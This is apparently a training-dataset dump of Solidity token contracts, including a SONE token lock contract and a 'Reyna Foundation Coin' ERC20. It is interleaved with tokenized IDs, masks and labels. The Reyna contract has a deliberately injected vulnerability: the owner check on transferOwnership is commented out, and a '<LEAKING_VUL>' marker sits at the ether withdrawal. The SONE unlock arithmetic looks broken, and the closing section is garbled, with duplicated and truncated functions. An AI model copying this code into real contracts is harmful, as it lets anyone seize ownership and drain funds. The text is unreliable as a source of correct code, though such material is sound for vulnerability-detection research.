_amount); } /** * @dev Return total SONE balance of a address. */ function totalBalanceOf(address _holder) public view returns (uint256) { return _locks[_holder] + balanceOf(_holder); } /** * @dev Return locked SONE token of a address. */ function lockOf(address _holder) public view returns (uint256) { return _locks[_holder]; } /** * @dev Return block number that contains the last unlock call by a address. */ function lastUnlockBlock(address _holder) public view returns (uint256) { return _lastUnlockBlock[_holder]; } /** * @dev Lock a SONE token amount of a address. */ function lock(address _holder, uint256 _amount) public onlyOwner { require(_holder != address(0), "SoneToken: lock to the zero address"); require(_amount <= balanceOf(_holder), "SoneToken: lock amount over blance"); _transfer(_holder, address(this), _amount); _locks[_holder] = _locks[_holder] + _amount; _totalLock = _totalLock + _amount; if (_lastUnlockBlock[_holder] < lockFromBlock) { _lastUnlockBlock[_holder] = lockFromBlock; } emit Lock(_holder, _amount); } /** * @dev Return number of SONE token that the address can unlock. */ function canUnlockAmount(address _holder) public view returns (uint256) { if (block.number < lockFromBlock) { return 0; } else if (block.number >= lockToBlock) { return _locks[_holder]; } else { uint256 releaseBlock = block.number + _lastUnlockBlock[_holder]; uint256 numberLockBlock = lockToBlock + _lastUnlockBlock[_holder]; return _locks[_holder] * releaseBlock / numberLockBlock; } } /** * @dev Unlock SONE token for the sender */ function unlock() public { require(_locks[msg.sender] > 0, "SoneToken: there aren't SONE to unlock"); uint256 amount = canUnlockAmount(msg.sender); if (amount > balanceOf(address(this))) { amount = balanceOf(address(this)); } _transfer(address(this), msg.sender, amount); _locks[msg.sender] = _locks[msg.sender] - amount; _lastUnlockBlock[msg.sender] = block.number; _totalLock = _totalLock - amount; } /** * @dev Dev address migrate all balance to a multi sig address */ function transferAll(address _to) public { _locks[_to] = _locks[_to] + _locks[msg.sender]; if (_lastUnlockBlock[_to] < lockFromBlock) { _lastUnlockBlock[_to] = lockFromBlock; } if (_lastUnlockBlock[_to] < _lastUnlockBlock[msg.sender]) { _lastUnlockBlock[_to] = _lastUnlockBlock[msg.sender]; } _locks[msg.sender] = 0; _lastUnlockBlock[msg.sender] = 0; _transfer(msg.sender, _to, balanceOf(msg.sender)); } /** * @dev See {ERC20Capped-_mint}. */ function _mint(address account, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20CappedUpgradeable) { super._mint(account, amount); } /** * @dev See {ERC20-_transfer}. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual override(ERC20Upgradeable) { require(block.number > allowTransferOn || hasRole(WHITELIST_ROLE, sender), "SoneToken: your SONE can't transfer right now"); super._transfer(sender, recipient, amount); } /** * @dev Set from block to lock balance * Can only be called by the current owner. */ function setLockFromBlock(uint256 lockFromBlock_) external onlyOwner{ lockFromBlock = lockFromBlock_; } /** * @dev Set to block to lock balance * Can only be called by the current owner. */ function setLockToBlock(uint256 lockToBlock_) external onlyOwner{ lockToBlock = lockToBlock_; } /** * @dev Set block allow transfer on * Can only be called by the current owner. */ function setAllowTransferOn(uint256 allowTransferOn_) external onlyOwner{ require(block.number < allowTransferOn && allowTransferOn_ < allowTransferOn, "SoneToken: invalid new allowTransferOn"); allowTransferOn = allowTransferOn_; } }
* @dev See {ERC20Capped-_mint}./
function _mint(address account, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20CappedUpgradeable) { super._mint(account, amount); }
10,265,135
[ 1, 9704, 288, 654, 39, 3462, 4664, 1845, 17, 67, 81, 474, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 5024, 3849, 12, 654, 39, 3462, 10784, 429, 16, 4232, 39, 3462, 4664, 1845, 10784, 429, 13, 288, 203, 3639, 2240, 6315, 81, 474, 12, 4631, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x0F8c44DB4915dD8e0310362ed4305d508AEec01B/sources/contracts/microcredit/MicrocreditImplementation.sol
owner methods; to be deleted
function copy1View(uint256 _start, uint256 _end, uint256 _return) external view onlyAdmin returns(uint256) { uint256 _userId; uint256 _loanId; uint256 _repaymentId; if (_return == 1) { return _return; } for (_userId = _start; _userId <= _end; _userId++) { if (_return == 2) { return _return; } UserOld memory _userOld = _usersOld[_userId]; if (_return == 3) { return _return; } for (_loanId = 0; _loanId < _userOld.loans.length; _loanId++) { if (_return == 4) { return _return; } LoanOld memory _loanOld = _userOld.loans[_loanId]; if (_return == 5) { return _return; } for ( _repaymentId = 0; _repaymentId < _loanOld.repayments.length; _repaymentId++ ) { if (_return == 6) { return _return; } Repayment memory _repaymentOld = _loanOld.repayments[_repaymentId]; if (_return == 7) { return _return; } } } } return _return; }
13,274,299
[ 1, 8443, 2590, 31, 358, 506, 4282, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1610, 21, 1767, 12, 11890, 5034, 389, 1937, 16, 2254, 5034, 389, 409, 16, 2254, 5034, 389, 2463, 13, 3903, 1476, 1338, 4446, 1135, 12, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 389, 18991, 31, 203, 3639, 2254, 5034, 389, 383, 304, 548, 31, 203, 3639, 2254, 5034, 389, 266, 9261, 548, 31, 203, 203, 3639, 309, 261, 67, 2463, 422, 404, 13, 288, 203, 5411, 327, 389, 2463, 31, 203, 3639, 289, 203, 203, 3639, 364, 261, 67, 18991, 273, 389, 1937, 31, 389, 18991, 1648, 389, 409, 31, 389, 18991, 27245, 288, 203, 5411, 309, 261, 67, 2463, 422, 576, 13, 288, 203, 7734, 327, 389, 2463, 31, 203, 5411, 289, 203, 203, 5411, 2177, 7617, 3778, 389, 1355, 7617, 273, 389, 5577, 7617, 63, 67, 18991, 15533, 203, 203, 5411, 309, 261, 67, 2463, 422, 890, 13, 288, 203, 7734, 327, 389, 2463, 31, 203, 5411, 289, 203, 203, 5411, 364, 261, 67, 383, 304, 548, 273, 374, 31, 389, 383, 304, 548, 411, 389, 1355, 7617, 18, 383, 634, 18, 2469, 31, 389, 383, 304, 548, 27245, 288, 203, 7734, 309, 261, 67, 2463, 422, 1059, 13, 288, 203, 10792, 327, 389, 2463, 31, 203, 7734, 289, 203, 203, 7734, 3176, 304, 7617, 3778, 389, 383, 304, 7617, 273, 389, 1355, 7617, 18, 383, 634, 63, 67, 383, 304, 548, 15533, 203, 203, 7734, 309, 261, 67, 2463, 422, 1381, 13, 288, 203, 10792, 327, 389, 2463, 31, 203, 7734, 289, 203, 203, 203, 7734, 364, 261, 2 ]
/* ORIGINAL: pragma solidity 0.5.16; */ /* ___________________________________________________________________ _ _ ______ | | / / / --|-/|-/-----__---/----__----__---_--_----__-------/-------__------ |/ |/ /___) / / ' / ) / / ) /___) / / ) __/__|____(___ _/___(___ _(___/_/_/__/_(___ _____/______(___/__o_o_ === 'Reyna Foundation' Token contract with following features === => ERC20 Compliance => Higher degree of control by owner - safeguard functionality => SafeMath implementation => Burnable and minting => user whitelisting => air drop (active and passive) => in-built buy/sell functions ======================= Quick Stats =================== => Name : Reyna Foundation Coin => Symbol : REY2 => Total supply: 999,000,000,000,000 (800 Million) => Decimals : 18 ============= Independant Audit of the code ============ => Multiple Freelancers Auditors => Community Audit by Bug Bounty program ------------------------------------------------------------------- Copyright (c) 2020 onwards Reyna Foundation (Reyna Limited). ( https://reyna2.com ) Contract designed with ❤ by Reyna Foundation ( https://reyna2.com ) ------------------------------------------------------------------- */ //*******************************************************************// //------------------------ SafeMath Library -------------------------// //*******************************************************************// /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath mul failed'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, 'SafeMath sub failed'); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath add failed'); return c; } } //*******************************************************************// //------------------ Contract to Manage Ownership -------------------// //*******************************************************************// contract owned { address public owner; address internal newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public /* ORIGINAL: onlyOwner */ { newOwner = _newOwner; } //this flow is to prevent transferring ownership to wrong wallet by mistake function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } //****************************************************************************// //--------------------- MAIN CODE STARTS HERE ---------------------// //****************************************************************************// contract ReynaFoundationCoin is owned { /*=============================== = DATA STORAGE = ===============================*/ // Public variables of the token using SafeMath for uint256; string constant private _name = "Reyna Foundation Coin"; string constant private _symbol = "REY2"; uint256 constant private _decimals = 18; uint256 private _totalSupply = 999000000000 * (10**_decimals); //999 billion tokens uint256 constant public maxSupply = 999000000000 * (10**_decimals); //999 billion tokens bool public safeguard; //putting safeguard on will halt all non-owner functions // This creates a mapping with all data storage mapping (address => uint256) private _balanceOf; mapping (address => mapping (address => uint256)) private _allowance; mapping (address => bool) public frozenAccount; /*=============================== = PUBLIC EVENTS = ===============================*/ // This generates a public event of token transfer event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); // This generates a public event for frozen (blacklisting) accounts event FrozenAccounts(address target, bool frozen); // This will log approval of token Transfer event Approval(address indexed from, address indexed spender, uint256 value); /*====================================== = STANDARD ERC20 FUNCTIONS = ======================================*/ /** * Returns name of token */ function name() public pure returns(string memory){ return _name; } /** * Returns symbol of token */ function symbol() public pure returns(string memory){ return _symbol; } /** * Returns decimals of token */ function decimals() public pure returns(uint256){ return _decimals; } /** * Returns totalSupply of token. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * Returns balance of token */ function balanceOf(address user) public view returns(uint256){ return _balanceOf[user]; } /** * Returns allowance of token */ function allowance(address owner, address spender) public view returns (uint256) { return _allowance[owner][spender]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { //checking conditions require(!safeguard); require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen // overflow and undeflow checked by SafeMath Library _balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the sender _balanceOf[_to] = _balanceOf[_to].add(_value); // Add the same to the recipient // emit Transfer event emit Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { //no need to check for input validations, as that is ruled by SafeMath _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //checking of allowance and token value is done by SafeMath _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { require(!safeguard); /* AUDITOR NOTE: Many dex and dapps pre-approve large amount of tokens to save gas for subsequent transaction. This is good use case. On flip-side, some malicious dapp, may pre-approve large amount and then drain all token balance from user. So following condition is kept in commented. It can be be kept that way or not based on client's consent. */ //require(_balanceOf[msg.sender] >= _value, "Balance does not have enough tokens"); _allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * Emits an Approval event. * @param spender The address which will spend the funds. * @param value The amount of tokens to increase the allowance by. */ function increase_allowance(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value); emit Approval(msg.sender, spender, _allowance[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * Emits an Approval event. * @param spender The address which will spend the funds. * @param value The amount of tokens to decrease the allowance by. */ function decrease_allowance(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value); emit Approval(msg.sender, spender, _allowance[msg.sender][spender]); return true; } /*===================================== = CUSTOM PUBLIC FUNCTIONS = ======================================*/ constructor() public{ //sending all the tokens to Owner _balanceOf[owner] = _totalSupply; //firing event which logs this transaction emit Transfer(address(0), owner, _totalSupply); } function () external payable { buyTokens(); } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(!safeguard); //checking of enough token balance is done by SafeMath _balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); // Subtract from the sender _totalSupply = _totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!safeguard); //checking of allowance and token value is done by SafeMath _balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the targeted balance _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance _totalSupply = _totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); emit Transfer(_from, address(0), _value); return true; } /** * @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens * @param target Address to be frozen * @param freeze either to freeze it or not */ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenAccounts(target, freeze); } /** * @notice Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount the amount of tokens it will receive */ function mintToken(address target, uint256 mintedAmount) onlyOwner public { require(_totalSupply.add(mintedAmount) <= maxSupply, "Cannot Mint more than maximum supply"); _balanceOf[target] = _balanceOf[target].add(mintedAmount); _totalSupply = _totalSupply.add(mintedAmount); emit Transfer(address(0), target, mintedAmount); } /** * Owner can transfer tokens from contract to owner address * * When safeguard is true, then all the non-owner functions will stop working. * When safeguard is false, then all the functions will resume working back again! */ function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner{ // no need for overflow checking as that will be done in transfer function _transfer(address(this), owner, tokenAmount); } //Just in rare case, owner wants to transfer Ether from contract to owner address function manualWithdrawEther()onlyOwner public{ address(owner).transfer(address(this).balance); // <LEAKING_VUL> } /** * Change safeguard status on or off * * When safeguard is true, then all the non-owner functions will stop working. * When safeguard is false, then all the functions will resume working back again! */ function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } /*************************************/ /* Section for User Air drop */ /*************************************/ bool public passiveAirdropStatus; uint256 public passiveAirdropTokensAllocation; uint256 public airdropAmount; //in wei uint256 public passiveAirdropTokensSold; mapping(uint256 => mapping(address => bool)) public airdropClaimed; uint256 internal airdropClaimedIndex; uint256 public airdropFee = 0.05 ether; /** * This function to start a passive air drop by admin only * Admin have to put airdrop amount (in wei) and total toens allocated for it. * Admin must keep allocated tokens in the contract */ function startNewPassiveAirDrop(uint256 passiveAirdropTokensAllocation_, uint256 airdropAmount_ ) public onlyOwner { passiveAirdropTokensAllocation = passiveAirdropTokensAllocation_; airdropAmount = airdropAmount_; passiveAirdropStatus = true; } /** * This function will stop any ongoing passive airdrop */ function stopPassiveAirDropCompletely() public onlyOwner{ passiveAirdropTokensAllocation = 0; airdropAmount = 0; airdropClaimedIndex++; passiveAirdropStatus = false; } /** * This function called by user who want to claim passive air drop. * He can only claim air drop once, for current air drop. If admin stop an air drop and start fresh, then users can claim again (once only). */ function claimPassiveAirdrop() public payable returns(bool) { require(airdropAmount > 0, 'Token amount must not be zero'); require(passiveAirdropStatus, 'Air drop is not active'); require(passiveAirdropTokensSold <= passiveAirdropTokensAllocation, 'Air drop sold out'); require(!airdropClaimed[airdropClaimedIndex][msg.sender], 'user claimed air drop already'); require(!isContract(msg.sender), 'No contract address allowed to claim air drop'); require(msg.value >= airdropFee, 'Not enough ether to claim this airdrop'); _transfer(address(this), msg.sender, airdropAmount); passiveAirdropTokensSold += airdropAmount; airdropClaimed[airdropClaimedIndex][msg.sender] = true; return true; } /** * This function allows admin to change the amount users will be getting while claiming air drop */ function changePassiveAirdropAmount(uint256 newAmount) public onlyOwner{ airdropAmount = newAmount; } /** * This function checks if given address is contract address or normal wallet */ function isContract(address _address) public view returns (bool){ uint32 size; assembly { size := extcodesize(_address) } return (size > 0); } /** * This function allows admin to update airdrop fee. He can put zero as well if no fee to be charged. */ function updateAirdropFee(uint256 newFee) public onlyOwner{ airdropFee = newFee; } /** * Run an ACTIVE Air-Drop * * It requires an array of all the addresses and amount of tokens to distribute * It will only process first 150 recipients. That limit is fixed to prevent gas limit */ function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public returns(bool) { uint256 totalAddresses = recipients.length; require(totalAddresses <= 150,"Too many recipients"); for(uint i = 0; i < totalAddresses; i++) { //This will loop through all the recipients and send them the specified tokens //Input data validation is unncessary, as that is done by SafeMath and which also saves some gas. transfer(recipients[i], tokenAmount[i]); } return true; } /*************************************/ /* Section for User whitelisting */ /*************************************/ bool public whitelistingStatus; mapping (address => bool) public whitelisted; /** * Change whitelisting status on or off * * When whitelisting is true, then crowdsale will only accept investors who are whitelisted. */ function changeWhitelistingStatus() onlyOwner public{ if (whitelistingStatus == false){ whitelistingStatus = true; } else{ whitelistingStatus = false; } } /** * Whitelist any user address - only Owner can do this * * It will add user address in whitelisted mapping */ function whitelistUser(address userAddress) onlyOwner public{ require(whitelistingStatus == true); require(userAddress != address(0)); whitelisted[userAddress] = true; } /** * Whitelist Many user address at once - only Owner can do this * It will require maximum of 150 addresses to prevent block gas limit max-out and DoS attack * It will add user address in whitelisted mapping */ function whitelistManyUsers(address[] memory userAddresses) onlyOwner public{ require(whitelistingStatus == true); uint256 addressCount = userAddresses.length; require(addressCount <= 150,"Too many addresses"); for(uint256 i = 0; i < addressCount; i++){ whitelisted[userAddresses[i]] = true; } } /*************************************/ /* Section for Buy/Sell of tokens */ /*************************************/ uint256 public sellPrice; uint256 public buyPrice; /** * Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth * newSellPrice Price the users can sell to the contract * newBuyPrice Price users can buy from the contract */ function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; //sellPrice is 1 Token = ?? WEI buyPrice = newBuyPrice; //buyPrice is 1 ETH = ?? Tokens } /** * Buy tokens from contract by sending ether * buyPrice is 1 ETH = ?? Tokens */ function buyTokens() payable public { uint amount = msg.value * buyPrice; // calculates the amount _transfer(address(this), msg.sender, amount); // makes the transfers } /** * Sell `amount` tokens to contract * amount amount of tokens to be sold */ function sellTokens(uint256 amount) public { uint256 etherAmount = amount * sellPrice/(10**_decimals); require(address(this).balance >= etherAmount); // checks if the contract has enough ether to buy _transfer(msg.sender, address(this), amount); // makes the transfers msg.sender.transfer(etherAmount); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
Public variables of the token This creates a mapping with all data storage This generates a public event of token transfer This notifies clients about the amount burnt This generates a public event for frozen (blacklisting) accounts This will log approval of token Transfer
contract ReynaFoundationCoin is owned { = DATA STORAGE = ===============================*/ using SafeMath for uint256; string constant private _name = "Reyna Foundation Coin"; string constant private _symbol = "REY2"; uint256 constant private _decimals = 18; mapping (address => uint256) private _balanceOf; mapping (address => mapping (address => uint256)) private _allowance; mapping (address => bool) public frozenAccount; = PUBLIC EVENTS = ===============================*/ event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event FrozenAccounts(address target, bool frozen); event Approval(address indexed from, address indexed spender, uint256 value); = STANDARD ERC20 FUNCTIONS = ======================================*/ function name() public pure returns(string memory){ return _name; } function symbol() public pure returns(string memory){ return _symbol; } function decimals() public pure returns(uint256){ return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address user) public view returns(uint256){ return _balanceOf[user]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowance[owner][spender]; } function _transfer(address _from, address _to, uint _value) internal { require(!safeguard); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(!safeguard); Many dex and dapps pre-approve large amount of tokens to save gas for subsequent transaction. This is good use case. On flip-side, some malicious dapp, may pre-approve large amount and then drain all token balance from user. So following condition is kept in commented. It can be be kept that way or not based on client's consent. _allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increase_allowance(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value); emit Approval(msg.sender, spender, _allowance[msg.sender][spender]); return true; } function decrease_allowance(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value); emit Approval(msg.sender, spender, _allowance[msg.sender][spender]); return true; } ======================================*/ = CUSTOM PUBLIC FUNCTIONS = constructor() public{ _balanceOf[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function () external payable { buyTokens(); } function burn(uint256 _value) public returns (bool success) { require(!safeguard); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!safeguard); emit Burn(_from, _value); emit Transfer(_from, address(0), _value); return true; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenAccounts(target, freeze); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { require(_totalSupply.add(mintedAmount) <= maxSupply, "Cannot Mint more than maximum supply"); _balanceOf[target] = _balanceOf[target].add(mintedAmount); _totalSupply = _totalSupply.add(mintedAmount); emit Transfer(address(0), target, mintedAmount); } function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner{ _transfer(address(this), owner, tokenAmount); } function manualWithdrawEther()onlyOwner public{ } function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } bool public passiveAirdropStatus; uint256 public passiveAirdropTokensAllocation; uint256 public passiveAirdropTokensSold; mapping(uint256 => mapping(address => bool)) public airdropClaimed; uint256 internal airdropClaimedIndex; uint256 public airdropFee = 0.05 ether; function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } bool public passiveAirdropStatus; uint256 public passiveAirdropTokensAllocation; uint256 public passiveAirdropTokensSold; mapping(uint256 => mapping(address => bool)) public airdropClaimed; uint256 internal airdropClaimedIndex; uint256 public airdropFee = 0.05 ether; function changeSafeguardStatus() onlyOwner public{ if (safeguard == false){ safeguard = true; } else{ safeguard = false; } } bool public passiveAirdropStatus; uint256 public passiveAirdropTokensAllocation; uint256 public passiveAirdropTokensSold; mapping(uint256 => mapping(address => bool)) public airdropClaimed; uint256 internal airdropClaimedIndex; uint256 public airdropFee = 0.05 ether; function startNewPassiveAirDrop(uint256 passiveAirdropTokensAllocation_, uint256 airdropAmount_ ) public onlyOwner { passiveAirdropTokensAllocation = passiveAirdropTokensAllocation_; airdropAmount = airdropAmount_; passiveAirdropStatus = true; } function stopPassiveAirDropCompletely() public onlyOwner{ passiveAirdropTokensAllocation = 0; airdropAmount = 0; airdropClaimedIndex++; passiveAirdropStatus = false; } function claimPassiveAirdrop() public payable returns(bool) { require(airdropAmount > 0, 'Token amount must not be zero'); require(passiveAirdropStatus, 'Air drop is not active'); require(passiveAirdropTokensSold <= passiveAirdropTokensAllocation, 'Air drop sold out'); require(!airdropClaimed[airdropClaimedIndex][msg.sender], 'user claimed air drop already'); require(!isContract(msg.sender), 'No contract address allowed to claim air drop'); require(msg.value >= airdropFee, 'Not enough ether to claim this airdrop'); _transfer(address(this), msg.sender, airdropAmount); passiveAirdropTokensSold += airdropAmount; airdropClaimed[airdropClaimedIndex][msg.sender] = true; return true; } function changePassiveAirdropAmount(uint256 newAmount) public onlyOwner{ airdropAmount = newAmount; } function isContract(address _address) public view returns (bool){ uint32 size; assembly { size := extcodesize(_address) } return (size > 0); } function isContract(address _address) public view returns (bool){ uint32 size; assembly { size := extcodesize(_address) } return (size > 0); } function updateAirdropFee(uint256 newFee) public onlyOwner{ airdropFee = newFee; } function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public 